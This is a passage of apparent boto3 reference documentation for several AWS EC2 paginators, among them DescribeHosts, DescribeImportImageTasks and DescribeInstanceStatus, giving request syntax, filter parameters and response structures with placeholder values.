_(integer) --_ + + The number of Dedicated Hosts the reservation is associated with. + + - **CurrencyCode** _(string) --_ + + The currency in which the upfrontPrice and hourlyPrice amounts are specified. At this time, the only supported currency is USD . + + - **Duration** _(integer) --_ + + The length of the reservation's term, specified in seconds. Can be 31536000 (1 year) | 94608000 (3 years) . + + - **End** _(datetime) --_ + + The date and time that the reservation ends. + + - **HostIdSet** _(list) --_ + + The IDs of the Dedicated Hosts associated with the reservation. + + - _(string) --_ + - **HostReservationId** _(string) --_ + + The ID of the reservation that specifies the associated Dedicated Hosts. + + - **HourlyPrice** _(string) --_ + + The hourly price of the reservation. + + - **InstanceFamily** _(string) --_ + + The instance family of the Dedicated Host Reservation. The instance family on the Dedicated Host must be the same in order for it to benefit from the reservation. + + - **OfferingId** _(string) --_ + + The ID of the reservation. This remains the same regardless of which Dedicated Hosts are associated with it. + + - **PaymentOption** _(string) --_ + + The payment option selected for this reservation. + + - **Start** _(datetime) --_ + + The date and time that the reservation started. + + - **State** _(string) --_ + + The state of the reservation. + + - **UpfrontPrice** _(string) --_ + + The upfront price of the reservation. + + - **Tags** _(list) --_ + + Any tags assigned to the Dedicated Host Reservation. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeHosts + +paginator = client.get_paginator('describe_hosts') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_hosts()](#EC2.Client.describe_hosts "EC2.Client.describe_hosts"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeHosts) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + HostIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - auto-placement - Whether auto-placement is enabled or disabled (on | off ). + - availability-zone - The Availability Zone of the host. + - client-token - The idempotency token that you provided when you allocated the host. + - host-reservation-id - The ID of the reservation assigned to this host. + - instance-type - The instance type size that the Dedicated Host is configured to support. + - state - The allocation state of the Dedicated Host (available | under-assessment | permanent-failure | released | released-permanent-failure ). + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **HostIds** (_list_) -- + + The IDs of the Dedicated Hosts. The IDs are used for targeted instance launches. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Hosts': [ + { + 'AutoPlacement': 'on'|'off', + 'AvailabilityZone': 'string', + 'AvailableCapacity': { + 'AvailableInstanceCapacity': [ + { + 'AvailableCapacity': 123, + 'InstanceType': 'string', + 'TotalCapacity': 123 + }, + ], + 'AvailableVCpus': 123 + }, + 'ClientToken': 'string', + 'HostId': 'string', + 'HostProperties': { + 'Cores': 123, + 'InstanceType': 'string', + 'InstanceFamily': 'string', + 'Sockets': 123, + 'TotalVCpus': 123 + }, + 'HostReservationId': 'string', + 'Instances': [ + { + 'InstanceId': 'string', + 'InstanceType': 'string', + 'OwnerId': 'string' + }, + ], + 'State': 'available'|'under-assessment'|'permanent-failure'|'released'|'released-permanent-failure'|'pending', + 'AllocationTime': datetime(2015, 1, 1), + 'ReleaseTime': datetime(2015, 1, 1), + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'HostRecovery': 'on'|'off', + 'AllowsMultipleInstanceTypes': 'on'|'off', + 'OwnerId': 'string', + 'AvailabilityZoneId': 'string', + 'MemberOfServiceLinkedResourceGroup': True|False + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **Hosts** _(list) --_ + + Information about the Dedicated Hosts. + + - _(dict) --_ + + Describes the properties of the Dedicated Host. + + - **AutoPlacement** _(string) --_ + + Whether auto-placement is on or off. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the Dedicated Host. + + - **AvailableCapacity** _(dict) --_ + + Information about the instances running on the Dedicated Host. + + - **AvailableInstanceCapacity** _(list) --_ + + The number of instances that can be launched onto the Dedicated Host depending on the host's available capacity. For Dedicated Hosts that support multiple instance types, this parameter represents the number of instances for each instance size that is supported on the host. + + - _(dict) --_ + + Information about the number of instances that can be launched onto the Dedicated Host. + + - **AvailableCapacity** _(integer) --_ + + The number of instances that can be launched onto the Dedicated Host based on the host's available capacity. + + - **InstanceType** _(string) --_ + + The instance type supported by the Dedicated Host. + + - **TotalCapacity** _(integer) --_ + + The total number of instances that can be launched onto the Dedicated Host if there are no instances running on it. + + - **AvailableVCpus** _(integer) --_ + + The number of vCPUs available for launching instances onto the Dedicated Host. + + - **ClientToken** _(string) --_ + + Unique, case-sensitive identifier that you provide to ensure the idempotency of the request. For more information, see [How to Ensure Idempotency](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/Run_Instance_Idempotency.html) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host. + + - **HostProperties** _(dict) --_ + + The hardware specifications of the Dedicated Host. + + - **Cores** _(integer) --_ + + The number of cores on the Dedicated Host. + + - **InstanceType** _(string) --_ + + The instance type supported by the Dedicated Host. For example, m5.large . If the host supports multiple instance types, no **instanceType** is returned. + + - **InstanceFamily** _(string) --_ + + The instance family supported by the Dedicated Host. For example, m5 . + + - **Sockets** _(integer) --_ + + The number of sockets on the Dedicated Host. + + - **TotalVCpus** _(integer) --_ + + The total number of vCPUs on the Dedicated Host. + + - **HostReservationId** _(string) --_ + + The reservation ID of the Dedicated Host. This returns a null response if the Dedicated Host doesn't have an associated reservation. + + - **Instances** _(list) --_ + + The IDs and instance type that are currently running on the Dedicated Host. + + - _(dict) --_ + + Describes an instance running on a Dedicated Host. + + - **InstanceId** _(string) --_ + + The ID of instance that is running on the Dedicated Host. + + - **InstanceType** _(string) --_ + + The instance type (for example, m3.medium ) of the running instance. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the instance. + + - **State** _(string) --_ + + The Dedicated Host's state. + + - **AllocationTime** _(datetime) --_ + + The time that the Dedicated Host was allocated. + + - **ReleaseTime** _(datetime) --_ + + The time that the Dedicated Host was released. + + - **Tags** _(list) --_ + + Any tags assigned to the Dedicated Host. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **HostRecovery** _(string) --_ + + Indicates whether host recovery is enabled or disabled for the Dedicated Host. + + - **AllowsMultipleInstanceTypes** _(string) --_ + + Indicates whether the Dedicated Host supports multiple instance types of the same instance family, or a specific instance type only. one indicates that the Dedicated Host supports multiple instance types in the instance family. off indicates that the Dedicated Host supports a single instance type only. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that owns the Dedicated Host. + + - **AvailabilityZoneId** _(string) --_ + + The ID of the Availability Zone in which the Dedicated Host is allocated. + + - **MemberOfServiceLinkedResourceGroup** _(boolean) --_ + + Indicates whether the Dedicated Host is in a host resource group. If **memberOfServiceLinkedResourceGroup** is true , the host is in a host resource group; otherwise, it is not. + + +_class_ EC2.Paginator.DescribeIamInstanceProfileAssociations + +paginator = client.get_paginator('describe_iam_instance_profile_associations') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_iam_instance_profile_associations()](#EC2.Client.describe_iam_instance_profile_associations "EC2.Client.describe_iam_instance_profile_associations"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeIamInstanceProfileAssociations) + +**Request Syntax** + +response_iterator = paginator.paginate( + AssociationIds=[ + 'string', + ], + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **AssociationIds** (_list_) -- + + The IAM instance profile associations. + + - _(string) --_ +- **Filters** (_list_) -- + + The filters. + + - instance-id - The ID of the instance. + - state - The state of the association (associating | associated | disassociating ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'IamInstanceProfileAssociations': [ + { + 'AssociationId': 'string', + 'InstanceId': 'string', + 'IamInstanceProfile': { + 'Arn': 'string', + 'Id': 'string' + }, + 'State': 'associating'|'associated'|'disassociating'|'disassociated', + 'Timestamp': datetime(2015, 1, 1) + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **IamInstanceProfileAssociations** _(list) --_ + + Information about the IAM instance profile associations. + + - _(dict) --_ + + Describes an association between an IAM instance profile and an instance. + + - **AssociationId** _(string) --_ + + The ID of the association. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **IamInstanceProfile** _(dict) --_ + + The IAM instance profile. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Id** _(string) --_ + + The ID of the instance profile. + + - **State** _(string) --_ + + The state of the association. + + - **Timestamp** _(datetime) --_ + + The time the IAM instance profile was associated with the instance. + + +_class_ EC2.Paginator.DescribeImportImageTasks + +paginator = client.get_paginator('describe_import_image_tasks') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_import_image_tasks()](#EC2.Client.describe_import_image_tasks "EC2.Client.describe_import_image_tasks"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImportImageTasks) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImportTaskIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + Filter tasks using the task-state filter and one of the following values: active , completed , deleting , or deleted . + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ImportTaskIds** (_list_) -- + + The IDs of the import image tasks. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImportImageTasks': [ + { + 'Architecture': 'string', + 'Description': 'string', + 'Encrypted': True|False, + 'Hypervisor': 'string', + 'ImageId': 'string', + 'ImportTaskId': 'string', + 'KmsKeyId': 'string', + 'LicenseType': 'string', + 'Platform': 'string', + 'Progress': 'string', + 'SnapshotDetails': [ + { + 'Description': 'string', + 'DeviceName': 'string', + 'DiskImageSize': 123.0, + 'Format': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + ], + 'Status': 'string', + 'StatusMessage': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'LicenseSpecifications': [ + { + 'LicenseConfigurationArn': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ImportImageTasks** _(list) --_ + + A list of zero or more import image tasks that are currently active or were completed or canceled in the previous 7 days. + + - _(dict) --_ + + Describes an import image task. + + - **Architecture** _(string) --_ + + The architecture of the virtual machine. + + Valid values: i386 | x86_64 | arm64 + + - **Description** _(string) --_ + + A description of the import task. + + - **Encrypted** _(boolean) --_ + + Indicates whether the image is encrypted. + + - **Hypervisor** _(string) --_ + + The target hypervisor for the import task. + + Valid values: xen + + - **ImageId** _(string) --_ + + The ID of the Amazon Machine Image (AMI) of the imported virtual machine. + + - **ImportTaskId** _(string) --_ + + The ID of the import image task. + + - **KmsKeyId** _(string) --_ + + The identifier for the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted image. + + - **LicenseType** _(string) --_ + + The license type of the virtual machine. + + - **Platform** _(string) --_ + + The description string for the import image task. + + - **Progress** _(string) --_ + + The percentage of progress of the import image task. + + - **SnapshotDetails** _(list) --_ + + Information about the snapshots. + + - _(dict) --_ + + Describes the snapshot created from the imported disk. + + - **Description** _(string) --_ + + A description for the snapshot. + + - **DeviceName** _(string) --_ + + The block device mapping for the snapshot. + + - **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + - **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + - **Progress** _(string) --_ + + The percentage of progress for the task. + + - **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + - **Status** _(string) --_ + + A brief status of the snapshot creation. + + - **StatusMessage** _(string) --_ + + A detailed status message for the snapshot creation. + + - **Url** _(string) --_ + + The URL used to access the disk image. + + - **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + - **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + - **S3Key** _(string) --_ + + The file name of the disk image. + + - **Status** _(string) --_ + + A brief status for the import image task. + + - **StatusMessage** _(string) --_ + + A descriptive status message for the import image task. + + - **Tags** _(list) --_ + + The tags for the import image task. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **LicenseSpecifications** _(list) --_ + + The ARNs of the license configurations that are associated with the import image task. + + - _(dict) --_ + + The response information for license configurations. + + - **LicenseConfigurationArn** _(string) --_ + + The ARN of a license configuration. + + +_class_ EC2.Paginator.DescribeImportSnapshotTasks + +paginator = client.get_paginator('describe_import_snapshot_tasks') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_import_snapshot_tasks()](#EC2.Client.describe_import_snapshot_tasks "EC2.Client.describe_import_snapshot_tasks"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeImportSnapshotTasks) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + ImportTaskIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + The filters. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **ImportTaskIds** (_list_) -- + + A list of import snapshot task IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'ImportSnapshotTasks': [ + { + 'Description': 'string', + 'ImportTaskId': 'string', + 'SnapshotTaskDetail': { + 'Description': 'string', + 'DiskImageSize': 123.0, + 'Encrypted': True|False, + 'Format': 'string', + 'KmsKeyId': 'string', + 'Progress': 'string', + 'SnapshotId': 'string', + 'Status': 'string', + 'StatusMessage': 'string', + 'Url': 'string', + 'UserBucket': { + 'S3Bucket': 'string', + 'S3Key': 'string' + } + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **ImportSnapshotTasks** _(list) --_ + + A list of zero or more import snapshot tasks that are currently active or were completed or canceled in the previous 7 days. + + - _(dict) --_ + + Describes an import snapshot task. + + - **Description** _(string) --_ + + A description of the import snapshot task. + + - **ImportTaskId** _(string) --_ + + The ID of the import snapshot task. + + - **SnapshotTaskDetail** _(dict) --_ + + Describes an import snapshot task. + + - **Description** _(string) --_ + + The description of the snapshot. + + - **DiskImageSize** _(float) --_ + + The size of the disk in the snapshot, in GiB. + + - **Encrypted** _(boolean) --_ + + Indicates whether the snapshot is encrypted. + + - **Format** _(string) --_ + + The format of the disk image from which the snapshot is created. + + - **KmsKeyId** _(string) --_ + + The identifier for the AWS Key Management Service (AWS KMS) customer master key (CMK) that was used to create the encrypted snapshot. + + - **Progress** _(string) --_ + + The percentage of completion for the import snapshot task. + + - **SnapshotId** _(string) --_ + + The snapshot ID of the disk being imported. + + - **Status** _(string) --_ + + A brief status for the import snapshot task. + + - **StatusMessage** _(string) --_ + + A detailed status message for the import snapshot task. + + - **Url** _(string) --_ + + The URL of the disk image from which the snapshot is created. + + - **UserBucket** _(dict) --_ + + The Amazon S3 bucket for the disk image. + + - **S3Bucket** _(string) --_ + + The Amazon S3 bucket from which the disk image was created. + + - **S3Key** _(string) --_ + + The file name of the disk image. + + - **Tags** _(list) --_ + + The tags for the import snapshot task. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeInstanceCreditSpecifications + +paginator = client.get_paginator('describe_instance_credit_specifications') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_instance_credit_specifications()](#EC2.Client.describe_instance_credit_specifications "EC2.Client.describe_instance_credit_specifications"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceCreditSpecifications) + +**Request Syntax** + +response_iterator = paginator.paginate( + DryRun=True|False, + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Filters** (_list_) -- + + The filters. + + - instance-id - The ID of the instance. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + Constraints: Maximum 1000 explicitly specified instance IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceCreditSpecifications': [ + { + 'InstanceId': 'string', + 'CpuCredits': 'string' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceCreditSpecifications** _(list) --_ + + Information about the credit option for CPU usage of an instance. + + - _(dict) --_ + + Describes the credit option for CPU usage of a burstable performance instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **CpuCredits** _(string) --_ + + The credit option for CPU usage of the instance. Valid values are standard and unlimited . + + +_class_ EC2.Paginator.DescribeInstanceStatus + +paginator = client.get_paginator('describe_instance_status') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_instance_status()](#EC2.Client.describe_instance_status "EC2.Client.describe_instance_status"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstanceStatus) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + InstanceIds=[ + 'string', + ], + DryRun=True|False, + IncludeAllInstances=True|False, + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + The filters. + + - availability-zone - The Availability Zone of the instance. + - event.code - The code for the scheduled event (instance-reboot | system-reboot | system-maintenance | instance-retirement | instance-stop ). + - event.description - A description of the event. + - event.instance-event-id - The ID of the event whose date and time you are modifying. + - event.not-after - The latest end time for the scheduled event (for example, 2014-09-15T17:15:20.000Z ). + - event.not-before - The earliest start time for the scheduled event (for example, 2014-09-15T17:15:20.000Z ). + - event.not-before-deadline - The deadline for starting the event (for example, 2014-09-15T17:15:20.000Z ). + - instance-state-code - The code for the instance state, as a 16-bit unsigned integer. The high byte is used for internal purposes and should be ignored. The low byte is set based on the state represented. The valid values are 0 (pending), 16 (running), 32 (shutting-down), 48 (terminated), 64 (stopping), and 80 (stopped). + - instance-state-name - The state of the instance (pending | running | shutting-down | terminated | stopping | stopped ). + - instance-status.reachability - Filters on instance status where the name is reachability (passed | failed | initializing | insufficient-data ). + - instance-status.status - The status of the instance (ok | impaired | initializing | insufficient-data | not-applicable ). + - system-status.reachability - Filters on system status where the name is reachability (passed | failed | initializing | insufficient-data ). + - system-status.status - The system status of the instance (ok | impaired | initializing | insufficient-data | not-applicable ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + Constraints: Maximum 100 explicitly specified instance IDs. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **IncludeAllInstances** (_boolean_) -- + + When true , includes the health status for all instances. When false , includes the health status for running instances only. + + Default: false + +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceStatuses': [ + { + 'AvailabilityZone': 'string', + 'OutpostArn': 'string', + 'Events': [ + { + 'InstanceEventId': 'string', + 'Code': 'instance-reboot'|'system-reboot'|'system-maintenance'|'instance-retirement'|'instance-stop', + 'Description': 'string', + 'NotAfter': datetime(2015, 1, 1), + 'NotBefore': datetime(2015, 1, 1), + 'NotBeforeDeadline': datetime(2015, 1, 1) + }, + ], + 'InstanceId': 'string', + 'InstanceState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceStatus': { + 'Details': [ + { + 'ImpairedSince': datetime(2015, 1, 1), + 'Name': 'reachability', + 'Status': 'passed'|'failed'|'insufficient-data'|'initializing' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data'|'not-applicable'|'initializing' + }, + 'SystemStatus': { + 'Details': [ + { + 'ImpairedSince': datetime(2015, 1, 1), + 'Name': 'reachability', + 'Status': 'passed'|'failed'|'insufficient-data'|'initializing' + }, + ], + 'Status': 'ok'|'impaired'|'insufficient-data'|'not-applicable'|'initializing' + } + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceStatuses** _(list) --_ + + Information about the status of the instances. + + - _(dict) --_ + + Describes the status of an instance. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + - **OutpostArn** _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + - **Events** _(list) --_ + + Any scheduled events associated with the instance. + + - _(dict) --_ + + Describes a scheduled event for an instance. + + - **InstanceEventId** _(string) --_ + + The ID of the event. + + - **Code** _(string) --_ + + The event code. + + - **Description** _(string) --_ + + A description of the event. + + After a scheduled event is completed, it can still be described for up to a week. If the event has been completed, this description starts with the following text: [Completed]. + + - **NotAfter** _(datetime) --_ + + The latest scheduled end time for the event. + + - **NotBefore** _(datetime) --_ + + The earliest scheduled start time for the event. + + - **NotBeforeDeadline** _(datetime) --_ + + The deadline for starting the event. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceState** _(dict) --_ + + The intended state of the instance. DescribeInstanceStatus requires that an instance be in the running state. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceStatus** _(dict) --_ + + Reports impaired functionality that stems from issues internal to the instance, such as impaired reachability. + + - **Details** _(list) --_ + + The system instance health or application instance health. + + - _(dict) --_ + + Describes the instance status. + + - **ImpairedSince** _(datetime) --_ + + The time when a status check failed. For an instance that was launched and impaired, this is the time when the instance was launched. + + - **Name** _(string) --_ + + The type of instance status. + + - **Status** _(string) --_ + + The status. + + - **Status** _(string) --_ + + The status. + + - **SystemStatus** _(dict) --_ + + Reports impaired functionality that stems from issues 